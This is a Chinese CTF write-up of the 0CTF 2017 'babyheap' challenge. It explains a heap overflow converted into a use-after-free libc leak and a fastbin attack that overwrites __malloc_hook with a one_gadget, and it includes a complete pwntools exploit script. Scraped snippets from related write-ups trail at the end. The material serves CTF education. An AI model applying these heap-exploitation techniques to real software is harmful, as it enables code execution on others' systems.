0ctf2017-babyheap

前言

又是一道令人怀疑人生的 baby 题。

这道题利用思路非常巧妙,通过 堆溢出fastbin 的机制构造了 information leak, 然后通过 fastbin attack 可以读写 malloc_hook , 然后使用 one_gadgetgetshell.

题目和 idb 文件:https://gitee.com/hac425/blog_data/tree/master/babyheap

正文

程序涉及的结构体 info 的结构如下,可以通过 allocate 功能逆出来

程序首先 mmap 了一个 随机的地址,用于存放 info table(就是存储info的数组).

程序的漏洞在于,在 allocate 时程序根据我们的输入 分配 size (size < 0x1000)大小的块。

然而 在 fill 我们可以写入任意大小的数据

经典的堆溢出。

问题在于,程序保护全开,而且 info table 的地址还是随机的,而且分配内存时,用的时 calloc 会把内存初始化为0。 所以常用的 大chunk包含小chunk 的信息泄露方式没法使用。

这里通过将 堆溢出 转换为 uaf 来进行信息泄露。

首先分配 多个 chunk

然后释放 偏移为 1,3的块,它们会进入 fastbin,然后通过部分溢出chunk 2 使得下面那个 fastbinfd 指向下面那个大的块,然后溢出 chunk 4 修改其大小为 0x21bypassfastbin 分配的 check

然后分配两次我们就能再次拿到这个 大的 chunk, 代码如下

因为此时我们还没有得到任何 地址,不过各个 chunk 的相对偏移应该是固定的,只要内存的分配顺序,大小没有变化,所以我们可以通过修改 fd 的低字节(小端字节序)就能 使 fd 指向我们的 大chunk

此时我们在把 大chunksize 修复,然后 用 free 刚刚分配的 info,它就会进入 unsorted bin ,此时在 chunk+0x10 处就有了 main_arean 的地址 (unsorted bin的 指针),然后用另外一个 info 打印内容即可 leak.

费劲千辛万苦我们终于拿到了 libc 的地址,对于这种全开的一般想到的就是修改 __malloc_hook 或者 __free_hook, 问题来了,怎么修改。

又是一种新的思路。我们可以在 __malloc_hook 附近找到合适的位置,进行 fastbin attack.

x/4gx (long long)(&main_arena)-0x40+0xd

如果以这里为一个 chunk ,这个 chunk 应该被放到 0x70 大小的 fastbin 里面。所以接下来的利用思路就是,构造一个 0x70 大小的 fastbin , 然后溢出修改 fd 到这个 chunk ,分配两次我们就能读写 __malloc_hook了,修改它为 one_gadget即可。

还有一个小 tips ,之前 uaf 的时候还有一块 0x110chunkunsorted bin, 所以我们需要先把这块内存给分配掉,然后在 进行布局。

最后

one_gadget 一个一个试,与寄存器和内存数据的状态有关。利用 main_arean 的数据进行 fastbin attack 这个 思路强悍。

参考

http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html

exp

from pwn import *
from time import sleep

# x/4gx (long long)(&main_arena)-0x40+0xd

def allocate(size):
    p.recvuntil("Command:")
    p.sendline("1")
    p.recvuntil("Size:")
    p.sendline(str(size))
    sleep(0.1)

def fill(index, content):
    p.recvuntil("Command:")
    p.sendline("2")
    p.recvuntil("Index:")
    p.sendline(str(index))
    p.recvuntil("Size:")
    p.sendline(str(len(content)))
    p.recvuntil("Content:")
    p.send(content)
    sleep(0.1)

def free(index):
    p.recvuntil("Command:")
    p.sendline("3")
    p.recvuntil("Index:")
    p.sendline(str(index))
    sleep(0.1)

def dump(index):
    p.recvuntil("Command:")
    p.sendline("4")
    p.recvuntil("Index:")
    p.sendline(str(index))
    p.recvuntil("Content: \n")

p = process("./0ctfbabyheap")

gdb.attach(p,‘‘‘

c

    ‘‘‘)

pause()
allocate(0x10)  # 0
allocate(0x10)  # 1
allocate(0x10)  # 2
allocate(0x10)  # 3
allocate(0x10)  # 4
allocate(0x100) # 5
allocate(0x10)  # 6
allocate(0x10)  # 7

log.info("allocat some chunk, large in chunk 5")
pause()

free(1)
free(3)

log.info("free 1, 3")
#pause()

payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000021)
payload += "\xa0"
fill(2, payload)
log.info("modify chunk 3 ‘s fastbin ptr, to 0xa0")
#pause()

payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000021)
fill(4, payload)

log.info("modify chunk 5 ‘s size to 0x21 for bypass check")
#pause()

allocate(0x10)  # 1
allocate(0x10)  # 3, get large bin

log.info("now allocate 2 chunk to get the large bin")
#pause()

payload = "A" *0x10
payload += p64(0)
payload += p64(0x00000000000000111)
fill(4, payload)

log.info("resume large chunk size")
#pause()

free(3)
log.info("free the large bin, and our chunk 5 in unsorted bin")
#pause()

dump(5)

addr = u64(p.recv(8))
libc = addr - 0x3c4b78
one_gadget = libc + 0x4526a
log.info("libc: " + hex(libc))
log.info("one_gadget: " + hex(one_gadget))
#pause()

allocate(0x100) # 3

allocate(0x60) # 8
free(8)
payload = "A" *0x10
payload += p64(0)
payload += p64(0x0000000000000071)
payload += p64(libc + 0x3c4aed)   # fake fastbin 0x70 size
fill(7, payload)
log.info("fake fastbin")
#pause()

allocate(0x60) # 8
allocate(0x60) # 9

log.info("now chunk 9 on " + hex(libc + 0x3c4aed))

payload = "A" * 19
payload += p64(one_gadget)  # modify malloc hook
fill(9, payload)

allocate(0x10)

p.interactive()

原文地址:https://www.cnblogs.com/hac425/p/9416972.html

时间: 2024-10-19 01:05:17

0ctf2017-babyheap的相关文章

babyheap_0ctf_2017 堆技巧 fastbin-attack

目录 常规检查 逆向分析 Allocate 函数 Fill 函数 Free 函数 Dump 函数 利用思路 利用过程 get flag exp 脚本 内容来源 常规检查 逆向分析 ??程序有四个功能 Allocate:分配内存大小并给出 index Fill:输入 index ,并分配内存进行内容写入操作 Free:输入 index ,释放相应的内存空间 Dump:输入 index ,打印内容 Allocate 函数 分配的大小不能超过 4096 字节 (24LL i + a1):置 1 表示

babyheap

64位程序,保护全开 #fastbin attack 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 __int64 v4; // [rsp+8h] [rbp-8h] 4 5 v4 = sub_B70(a1, a2, a3); 6 while ( 1 ) 7 { 8 printmenu(); 9 sub_138C(); 10 switch ( (unsigned __int64)off_14F4 ) 1

Roarctf 几道pwn 复现

1.easy_pwn 可以利用的点: __int64 __fastcall sub_E26(signed int a1, unsigned int a2) { __int64 result; // rax if ( a1 > (signed int)a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1; else LODWORD(result) = a1; return (unsigned int)result; } 然后 覆

bctf-2017-babyuse

看到这个题目,我就想起了0CTF被babyheap支配的恐惧233. 在sub_12CE函数中存在两个漏洞,一个是任意地址读,一个是UAF漏洞,所以我的思路是先泄露全局变量stdin中的值,从而计算出libc基址,然后触发UAF漏洞,跳到libc中one gadget的地址,直接起来一个shell. 由于程序开了PIE,所以需要爆破程序基址,32位程序也挺容易爆破的. from pwn import * DEBUG = 0 one_gadget = 0x3ac69 def buy(size, n

SQL 注入 OrderBy/0ctf simplesqlin

https://www.cnblogs.com/claricre/p/6187672.html http://www.w3school.com.cn/sql/sql_orderby.asp 1.  select 字段列表/* from 表名 where 条件 order by 字段名1 asc/desc, 字段名2 asc/desc,....... 2.  select 字段列表/* from 表名 where 条件 order by 字段序号 asc/desc, 字段序号 asc/desc,.

0ctf2018 pwn

前言 对 0ctf2018 的 pwn 做一个总结 正文 babystack 漏洞 非常直接的 栈溢出 ssize_t sub_804843B() { char buf; // [esp+0h] [ebp-28h] return read(0, &buf, 0x40u); } 这个题的难点在于 用 python 启动了该程序同时过滤了 stdout 和 stdout #!/usr/bin/python -u # encoding: utf-8 from pwn import * import r

babyheap_fastbin_attack

babyheap_fastbin_attack 首先检查程序保护 保护全开.是一个选单系统 分析程序 void new() { int index; // [rsp+0h] [rbp-10h] signed int size; // [rsp+4h] [rbp-Ch] void *ptr; // [rsp+8h] [rbp-8h] for ( index = 0; index <= 63; ++index ) { if ( !*((_DWORD *)&flag + 4 * index) )